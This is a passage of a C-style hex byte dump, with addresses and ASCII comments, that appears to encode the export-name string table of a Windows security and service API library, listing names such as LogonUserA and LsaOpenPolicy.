\"\\x72\\x76\\x69\\x63\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x4E\\x61\\x6D\\x65\"   //rviceDisplayName\n/* 7E296580 */   \"\\x57\\x00\\x47\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4B\\x65\\x79\\x4E\"   //W.GetServiceKeyN\n/* 7E2965A0 */   \"\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4B\"   //ameA.GetServiceK\n/* 7E2965C0 */   \"\\x65\\x79\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x53\\x69\\x64\\x49\\x64\"   //eyNameW.GetSidId\n/* 7E2965E0 */   \"\\x65\\x6E\\x74\\x69\\x66\\x69\\x65\\x72\\x41\\x75\\x74\\x68\\x6F\\x72\\x69\\x74\"   //entifierAuthorit\n/* 7E296600 */   \"\\x79\\x00\\x47\\x65\\x74\\x53\\x69\\x64\\x4C\\x65\\x6E\\x67\\x74\\x68\\x52\\x65\"   //y.GetSidLengthRe\n/* 7E296620 */   \"\\x71\\x75\\x69\\x72\\x65\\x64\\x00\\x47\\x65\\x74\\x53\\x69\\x64\\x53\\x75\\x62\"   //quired.GetSidSub\n/* 7E296640 */   \"\\x41\\x75\\x74\\x68\\x6F\\x72\\x69\\x74\\x79\\x00\\x47\\x65\\x74\\x53\\x69\\x64\"   //Authority.GetSid\n/* 7E296660 */   \"\\x53\\x75\\x62\\x41\\x75\\x74\\x68\\x6F\\x72\\x69\\x74\\x79\\x43\\x6F\\x75\\x6E\"   //SubAuthorityCoun\n/* 7E296680 */   \"\\x74\\x00\\x47\\x65\\x74\\x54\\x6F\\x6B\\x65\\x6E\\x49\\x6E\\x66\\x6F\\x72\\x6D\"   //t.GetTokenInform\n/* 7E2966A0 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x00\\x47\\x65\\x74\\x54\\x72\\x61\\x63\\x65\\x45\\x6E\"   //ation.GetTraceEn\n/* 7E2966C0 */   \"\\x61\\x62\\x6C\\x65\\x46\\x6C\\x61\\x67\\x73\\x00\\x47\\x65\\x74\\x54\\x72\\x61\"   //ableFlags.GetTra\n/* 7E2966E0 */   \"\\x63\\x65\\x45\\x6E\\x61\\x62\\x6C\\x65\\x4C\\x65\\x76\\x65\\x6C\\x00\\x47\\x65\"   //ceEnableLevel.Ge\n/* 7E296700 */   \"\\x74\\x54\\x72\\x61\\x63\\x65\\x4C\\x6F\\x67\\x67\\x65\\x72\\x48\\x61\\x6E\\x64\"   //tTraceLoggerHand\n/* 7E296720 */   \"\\x6C\\x65\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x46\\x6F\\x72\"   //le.GetTrusteeFor\n/* 7E296740 */   \"\\x6D\\x41\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x46\\x6F\\x72\"   //mA.GetTrusteeFor\n/* 7E296760 */   \"\\x6D\\x57\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x4E\\x61\\x6D\"   //mW.GetTrusteeNam\n/* 7E296780 */   \"\\x65\\x41\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x4E\\x61\\x6D\"   //eA.GetTrusteeNam\n/* 7E2967A0 */   \"\\x65\\x57\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x54\\x79\\x70\"   //eW.GetTrusteeTyp\n/* 7E2967C0 */   \"\\x65\\x41\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x54\\x79\\x70\"   //eA.GetTrusteeTyp\n/* 7E2967E0 */   \"\\x65\\x57\\x00\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x4E\\x61\\x6D\\x65\\x41\\x00\"   //eW.GetUserNameA.\n/* 7E296800 */   \"\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\"   //GetUserNameW.Get\n/* 7E296820 */   \"\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x44\\x6F\"   //WindowsAccountDo\n/* 7E296840 */   \"\\x6D\\x61\\x69\\x6E\\x53\\x69\\x64\\x00\\x49\\x5F\\x53\\x63\\x47\\x65\\x74\\x43\"   //mainSid.I_ScGetC\n/* 7E296860 */   \"\\x75\\x72\\x72\\x65\\x6E\\x74\\x47\\x72\\x6F\\x75\\x70\\x53\\x74\\x61\\x74\\x65\"   //urrentGroupState\n/* 7E296880 */   \"\\x57\\x00\\x49\\x5F\\x53\\x63\\x49\\x73\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\"   //W.I_ScIsSecurity\n/* 7E2968A0 */   \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x49\\x5F\\x53\\x63\\x50\\x6E\\x50\\x47\"   //Process.I_ScPnPG\n/* 7E2968C0 */   \"\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4E\\x61\\x6D\\x65\\x00\\x49\\x5F\"   //etServiceName.I_\n/* 7E2968E0 */   \"\\x53\\x63\\x53\\x65\\x6E\\x64\\x54\\x53\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\"   //ScSendTSMessage.\n/* 7E296900 */   \"\\x49\\x5F\\x53\\x63\\x53\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x42\\x69\"   //I_ScSetServiceBi\n/* 7E296920 */   \"\\x74\\x73\\x41\\x00\\x49\\x5F\\x53\\x63\\x53\\x65\\x74\\x53\\x65\\x72\\x76\\x69\"   //tsA.I_ScSetServi\n/* 7E296940 */   \"\\x63\\x65\\x42\\x69\\x74\\x73\\x57\\x00\\x49\\x64\\x65\\x6E\\x74\\x69\\x66\\x79\"   //ceBitsW.Identify\n/* 7E296960 */   \"\\x43\\x6F\\x64\\x65\\x41\\x75\\x74\\x68\\x7A\\x4C\\x65\\x76\\x65\\x6C\\x57\\x00\"   //CodeAuthzLevelW.\n/* 7E296980 */   \"\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x41\\x6E\\x6F\\x6E\\x79\"   //ImpersonateAnony\n/* 7E2969A0 */   \"\\x6D\\x6F\\x75\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x49\\x6D\\x70\\x65\\x72\\x73\"   //mousToken.Impers\n/* 7E2969C0 */   \"\\x6F\\x6E\\x61\\x74\\x65\\x4C\\x6F\\x67\\x67\\x65\\x64\\x4F\\x6E\\x55\\x73\\x65\"   //onateLoggedOnUse\n/* 7E2969E0 */   \"\\x72\\x00\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x4E\\x61\\x6D\"   //r.ImpersonateNam\n/* 7E296A00 */   \"\\x65\\x64\\x50\\x69\\x70\\x65\\x43\\x6C\\x69\\x65\\x6E\\x74\\x00\\x49\\x6D\\x70\"   //edPipeClient.Imp\n/* 7E296A20 */   \"\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x53\\x65\\x6C\\x66\\x00\\x49\\x6E\\x69\"   //ersonateSelf.Ini\n/* 7E296A40 */   \"\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x41\\x63\\x6C\\x00\\x49\\x6E\\x69\\x74\\x69\"   //tializeAcl.Initi\n/* 7E296A60 */   \"\\x61\\x6C\\x69\\x7A\\x65\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\"   //alizeSecurityDes\n/* 7E296A80 */   \"\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\"   //criptor.Initiali\n/* 7E296AA0 */   \"\\x7A\\x65\\x53\\x69\\x64\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x74\\x65\\x53\\x79\"   //zeSid.InitiateSy\n/* 7E296AC0 */   \"\\x73\\x74\\x65\\x6D\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x41\\x00\\x49\\x6E\"   //stemShutdownA.In\n/* 7E296AE0 */   \"\\x69\\x74\\x69\\x61\\x74\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x53\\x68\\x75\\x74\"   //itiateSystemShut\n/* 7E296B00 */   \"\\x64\\x6F\\x77\\x6E\\x45\\x78\\x41\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x74\\x65\"   //downExA.Initiate\n/* 7E296B20 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x45\\x78\"   //SystemShutdownEx\n/* 7E296B40 */   \"\\x57\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x74\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\"   //W.InitiateSystem\n/* 7E296B60 */   \"\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x57\\x00\\x49\\x6E\\x73\\x74\\x61\\x6C\"   //ShutdownW.Instal\n/* 7E296B80 */   \"\\x6C\\x41\\x70\\x70\\x6C\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x00\\x49\\x73\\x54\"   //lApplication.IsT\n/* 7E296BA0 */   \"\\x65\\x78\\x74\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x00\\x49\\x73\\x54\\x6F\\x6B\"   //extUnicode.IsTok\n/* 7E296BC0 */   \"\\x65\\x6E\\x52\\x65\\x73\\x74\\x72\\x69\\x63\\x74\\x65\\x64\\x00\\x49\\x73\\x54\"   //enRestricted.IsT\n/* 7E296BE0 */   \"\\x6F\\x6B\\x65\\x6E\\x55\\x6E\\x74\\x72\\x75\\x73\\x74\\x65\\x64\\x00\\x49\\x73\"   //okenUntrusted.Is\n/* 7E296C00 */   \"\\x56\\x61\\x6C\\x69\\x64\\x41\\x63\\x6C\\x00\\x49\\x73\\x56\\x61\\x6C\\x69\\x64\"   //ValidAcl.IsValid\n/* 7E296C20 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\"   //SecurityDescript\n/* 7E296C40 */   \"\\x6F\\x72\\x00\\x49\\x73\\x56\\x61\\x6C\\x69\\x64\\x53\\x69\\x64\\x00\\x49\\x73\"   //or.IsValidSid.Is\n/* 7E296C60 */   \"\\x57\\x65\\x6C\\x6C\\x4B\\x6E\\x6F\\x77\\x6E\\x53\\x69\\x64\\x00\\x4C\\x6F\\x63\"   //WellKnownSid.Loc\n/* 7E296C80 */   \"\\x6B\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x44\\x61\\x74\\x61\\x62\\x61\\x73\\x65\"   //kServiceDatabase\n/* 7E296CA0 */   \"\\x00\\x4C\\x6F\\x67\\x6F\\x6E\\x55\\x73\\x65\\x72\\x41\\x00\\x4C\\x6F\\x67\\x6F\"   //.LogonUserA.Logo\n/* 7E296CC0 */   \"\\x6E\\x55\\x73\\x65\\x72\\x45\\x78\\x41\\x00\\x4C\\x6F\\x67\\x6F\\x6E\\x55\\x73\"   //nUserExA.LogonUs\n/* 7E296CE0 */   \"\\x65\\x72\\x45\\x78\\x45\\x78\\x57\\x00\\x4C\\x6F\\x67\\x6F\\x6E\\x55\\x73\\x65\"   //erExExW.LogonUse\n/* 7E296D00 */   \"\\x72\\x45\\x78\\x57\\x00\\x4C\\x6F\\x67\\x6F\\x6E\\x55\\x73\\x65\\x72\\x57\\x00\"   //rExW.LogonUserW.\n/* 7E296D20 */   \"\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x4E\\x61\\x6D\"   //LookupAccountNam\n/* 7E296D40 */   \"\\x65\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\"   //eA.LookupAccount\n/* 7E296D60 */   \"\\x4E\\x61\\x6D\\x65\\x57\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x41\\x63\\x63\\x6F\"   //NameW.LookupAcco\n/* 7E296D80 */   \"\\x75\\x6E\\x74\\x53\\x69\\x64\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x41\\x63\"   //untSidA.LookupAc\n/* 7E296DA0 */   \"\\x63\\x6F\\x75\\x6E\\x74\\x53\\x69\\x64\\x57\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\"   //countSidW.Lookup\n/* 7E296DC0 */   \"\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\"   //PrivilegeDisplay\n/* 7E296DE0 */   \"\\x4E\\x61\\x6D\\x65\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\\x76\"   //NameA.LookupPriv\n/* 7E296E00 */   \"\\x69\\x6C\\x65\\x67\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x4E\\x61\\x6D\\x65\"   //ilegeDisplayName\n/* 7E296E20 */   \"\\x57\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\"   //W.LookupPrivileg\n/* 7E296E40 */   \"\\x65\\x4E\\x61\\x6D\\x65\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\"   //eNameA.LookupPri\n/* 7E296E60 */   \"\\x76\\x69\\x6C\\x65\\x67\\x65\\x4E\\x61\\x6D\\x65\\x57\\x00\\x4C\\x6F\\x6F\\x6B\"   //vilegeNameW.Look\n/* 7E296E80 */   \"\\x75\\x70\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x56\\x61\\x6C\\x75\\x65\"   //upPrivilegeValue\n/* 7E296EA0 */   \"\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\"   //A.LookupPrivileg\n/* 7E296EC0 */   \"\\x65\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x65\"   //eValueW.LookupSe\n/* 7E296EE0 */   \"\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\"   //curityDescriptor\n/* 7E296F00 */   \"\\x50\\x61\\x72\\x74\\x73\\x41\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x65\\x63\"   //PartsA.LookupSec\n/* 7E296F20 */   \"\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x50\"   //urityDescriptorP\n/* 7E296F40 */   \"\\x61\\x72\\x74\\x73\\x57\\x00\\x4C\\x73\\x61\\x41\\x64\\x64\\x41\\x63\\x63\\x6F\"   //artsW.LsaAddAcco\n/* 7E296F60 */   \"\\x75\\x6E\\x74\\x52\\x69\\x67\\x68\\x74\\x73\\x00\\x4C\\x73\\x61\\x41\\x64\\x64\"   //untRights.LsaAdd\n/* 7E296F80 */   \"\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x73\\x54\\x6F\\x41\\x63\\x63\\x6F\"   //PrivilegesToAcco\n/* 7E296FA0 */   \"\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x43\\x6C\\x65\\x61\\x72\\x41\\x75\\x64\\x69\"   //unt.LsaClearAudi\n/* 7E296FC0 */   \"\\x74\\x4C\\x6F\\x67\\x00\\x4C\\x73\\x61\\x43\\x6C\\x6F\\x73\\x65\\x00\\x4C\\x73\"   //tLog.LsaClose.Ls\n/* 7E296FE0 */   \"\\x61\\x43\\x72\\x65\\x61\\x74\\x65\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\"   //aCreateAccount.L\n/* 7E297000 */   \"\\x73\\x61\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\\x63\\x72\\x65\\x74\\x00\\x4C\"   //saCreateSecret.L\n/* 7E297020 */   \"\\x73\\x61\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x64\\x44\"   //saCreateTrustedD\n/* 7E297040 */   \"\\x6F\\x6D\\x61\\x69\\x6E\\x00\\x4C\\x73\\x61\\x43\\x72\\x65\\x61\\x74\\x65\\x54\"   //omain.LsaCreateT\n/* 7E297060 */   \"\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x45\\x78\\x00\\x4C\"   //rustedDomainEx.L\n/* 7E297080 */   \"\\x73\\x61\\x44\\x65\\x6C\\x65\\x74\\x65\\x00\\x4C\\x73\\x61\\x44\\x65\\x6C\\x65\"   //saDelete.LsaDele\n/* 7E2970A0 */   \"\\x74\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x00\"   //teTrustedDomain.\n/* 7E2970C0 */   \"\\x4C\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x41\\x63\\x63\\x6F\"   //LsaEnumerateAcco\n/* 7E2970E0 */   \"\\x75\\x6E\\x74\\x52\\x69\\x67\\x68\\x74\\x73\\x00\\x4C\\x73\\x61\\x45\\x6E\\x75\"   //untRights.LsaEnu\n/* 7E297100 */   \"\\x6D\\x65\\x72\\x61\\x74\\x65\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x73\\x00\\x4C\"   //merateAccounts.L\n/* 7E297120 */   \"\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x41\\x63\\x63\\x6F\\x75\"   //saEnumerateAccou\n/* 7E297140 */   \"\\x6E\\x74\\x73\\x57\\x69\\x74\\x68\\x55\\x73\\x65\\x72\\x52\\x69\\x67\\x68\\x74\"   //ntsWithUserRight\n/* 7E297160 */   \"\\x00\\x4C\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x50\\x72\\x69\"   //.LsaEnumeratePri\n/* 7E297180 */   \"\\x76\\x69\\x6C\\x65\\x67\\x65\\x73\\x00\\x4C\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\"   //vileges.LsaEnume\n/* 7E2971A0 */   \"\\x72\\x61\\x74\\x65\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x73\\x4F\\x66\"   //ratePrivilegesOf\n/* 7E2971C0 */   \"\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\"   //Account.LsaEnume\n/* 7E2971E0 */   \"\\x72\\x61\\x74\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\"   //rateTrustedDomai\n/* 7E297200 */   \"\\x6E\\x73\\x00\\x4C\\x73\\x61\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x54\"   //ns.LsaEnumerateT\n/* 7E297220 */   \"\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x73\\x45\\x78\\x00\"   //rustedDomainsEx.\n/* 7E297240 */   \"\\x4C\\x73\\x61\\x46\\x72\\x65\\x65\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x4C\\x73\"   //LsaFreeMemory.Ls\n/* 7E297260 */   \"\\x61\\x47\\x65\\x74\\x51\\x75\\x6F\\x74\\x61\\x73\\x46\\x6F\\x72\\x41\\x63\\x63\"   //aGetQuotasForAcc\n/* 7E297280 */   \"\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x47\\x65\\x74\\x52\\x65\\x6D\\x6F\\x74\"   //ount.LsaGetRemot\n/* 7E2972A0 */   \"\\x65\\x55\\x73\\x65\\x72\\x4E\\x61\\x6D\\x65\\x00\\x4C\\x73\\x61\\x47\\x65\\x74\"   //eUserName.LsaGet\n/* 7E2972C0 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x41\\x63\\x63\\x65\\x73\\x73\\x41\\x63\\x63\\x6F\"   //SystemAccessAcco\n/* 7E2972E0 */   \"\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x4E\\x61\"   //unt.LsaGetUserNa\n/* 7E297300 */   \"\\x6D\\x65\\x00\\x4C\\x73\\x61\\x49\\x43\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x4E\\x61\"   //me.LsaICLookupNa\n/* 7E297320 */   \"\\x6D\\x65\\x73\\x00\\x4C\\x73\\x61\\x49\\x43\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x4E\"   //mes.LsaICLookupN\n/* 7E297340 */   \"\\x61\\x6D\\x65\\x73\\x57\\x69\\x74\\x68\\x43\\x72\\x65\\x64\\x73\\x00\\x4C\\x73\"   //amesWithCreds.Ls\n/* 7E297360 */   \"\\x61\\x49\\x43\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x69\\x64\\x73\\x00\\x4C\\x73\"   //aICLookupSids.Ls\n/* 7E297380 */   \"\\x61\\x49\\x43\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x69\\x64\\x73\\x57\\x69\\x74\"   //aICLookupSidsWit\n/* 7E2973A0 */   \"\\x68\\x43\\x72\\x65\\x64\\x73\\x00\\x4C\\x73\\x61\\x4C\\x6F\\x6F\\x6B\\x75\\x70\"   //hCreds.LsaLookup\n/* 7E2973C0 */   \"\\x4E\\x61\\x6D\\x65\\x73\\x00\\x4C\\x73\\x61\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x4E\"   //Names.LsaLookupN\n/* 7E2973E0 */   \"\\x61\\x6D\\x65\\x73\\x32\\x00\\x4C\\x73\\x61\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\"   //ames2.LsaLookupP\n/* 7E297400 */   \"\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x4E\"   //rivilegeDisplayN\n/* 7E297420 */   \"\\x61\\x6D\\x65\\x00\\x4C\\x73\\x61\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\"   //ame.LsaLookupPri\n/* 7E297440 */   \"\\x76\\x69\\x6C\\x65\\x67\\x65\\x4E\\x61\\x6D\\x65\\x00\\x4C\\x73\\x61\\x4C\\x6F\"   //vilegeName.LsaLo\n/* 7E297460 */   \"\\x6F\\x6B\\x75\\x70\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x56\\x61\\x6C\"   //okupPrivilegeVal\n/* 7E297480 */   \"\\x75\\x65\\x00\\x4C\\x73\\x61\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x69\\x64\\x73\"   //ue.LsaLookupSids\n/* 7E2974A0 */   \"\\x00\\x4C\\x73\\x61\\x4E\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x54\\x6F\\x57\\x69\"   //.LsaNtStatusToWi\n/* 7E2974C0 */   \"\\x6E\\x45\\x72\\x72\\x6F\\x72\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x41\\x63\"   //nError.LsaOpenAc\n/* 7E2974E0 */   \"\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x50\\x6F\\x6C\"   //count.LsaOpenPol\n/* 7E297500 */   \"\\x69\\x63\\x79\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x50\\x6F\\x6C\\x69\\x63\"   //icy.LsaOpenPolic\n/* 7E297520 */   \"\\x79\\x53\\x63\\x65\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x53\\x65\\x63\\x72\"   //ySce.LsaOpenSecr\n/* 7E297540 */   \"\\x65\\x74\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x54\\x72\\x75\\x73\\x74\\x65\"   //et.LsaOpenTruste\n/* 7E297560 */   \"\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x00\\x4C\\x73\\x61\\x4F\\x70\\x65\\x6E\\x54\"   //dDomain.LsaOpenT\n/* 7E297580 */   \"\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x42\\x79\\x4E\\x61\"   //rustedDomainByNa\n/* 7E2975A0 */   \"\\x6D\\x65\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x44\\x6F\\x6D\\x61\\x69\"   //me.LsaQueryDomai\n/* 7E2975C0 */   \"\\x6E\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\\x6F\\x6C\\x69\"   //nInformationPoli\n/* 7E2975E0 */   \"\\x63\\x79\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x46\\x6F\\x72\\x65\\x73\"   //cy.LsaQueryFores\n/* 7E297600 */   \"\\x74\\x54\\x72\\x75\\x73\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\"   //tTrustInformatio\n/* 7E297620 */   \"\\x6E\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x54\\x72\"   //n.LsaQueryInfoTr\n/* 7E297640 */   \"\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x00\\x4C\\x73\\x61\\x51\"   //ustedDomain.LsaQ\n/* 7E297660 */   \"\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\"   //ueryInformationP\n/* 7E297680 */   \"\\x6F\\x6C\\x69\\x63\\x79\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x53\\x65\"   //olicy.LsaQuerySe\n/* 7E2976A0 */   \"\\x63\\x72\\x65\\x74\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x63\"   //cret.LsaQuerySec\n/* 7E2976C0 */   \"\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4C\\x73\\x61\\x51\"   //urityObject.LsaQ\n/* 7E2976E0 */   \"\\x75\\x65\\x72\\x79\\x54\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\"   //ueryTrustedDomai\n/* 7E297700 */   \"\\x6E\\x49\\x6E\\x66\\x6F\\x00\\x4C\\x73\\x61\\x51\\x75\\x65\\x72\\x79\\x54\\x72\"   //nInfo.LsaQueryTr\n/* 7E297720 */   \"\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x49\\x6E\\x66\\x6F\\x42\"   //ustedDomainInfoB\n/* 7E297740 */   \"\\x79\\x4E\\x61\\x6D\\x65\\x00\\x4C\\x73\\x61\\x52\\x65\\x6D\\x6F\\x76\\x65\\x41\"   //yName.LsaRemoveA\n/* 7E297760 */   \"\\x63\\x63\\x6F\\x75\\x6E\\x74\\x52\\x69\\x67\\x68\\x74\\x73\\x00\\x4C\\x73\\x61\"   //ccountRights.Lsa\n/* 7E297780 */   \"\\x52\\x65\\x6D\\x6F\\x76\\x65\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x73\"   //RemovePrivileges\n/* 7E2977A0 */   \"\\x46\\x72\\x6F\\x6D\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x52\"   //FromAccount.LsaR\n/* 7E2977C0 */   \"\\x65\\x74\\x72\\x69\\x65\\x76\\x65\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x44\\x61\"   //etrievePrivateDa\n/* 7E2977E0 */   \"\\x74\\x61\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x49\"   //ta.LsaSetDomainI\n/* 7E297800 */   \"\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\\x6F\\x6C\\x69\\x63\\x79\"   //nformationPolicy\n/* 7E297820 */   \"\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x46\\x6F\\x72\\x65\\x73\\x74\\x54\\x72\\x75\"   //.LsaSetForestTru\n/* 7E297840 */   \"\\x73\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x4C\\x73\"   //stInformation.Ls\n/* 7E297860 */   \"\\x61\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\"   //aSetInformationP\n/* 7E297880 */   \"\\x6F\\x6C\\x69\\x63\\x79\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\"   //olicy.LsaSetInfo\n/* 7E2978A0 */   \"\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x54\\x72\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\"   //rmationTrustedDo\n/* 7E2978C0 */   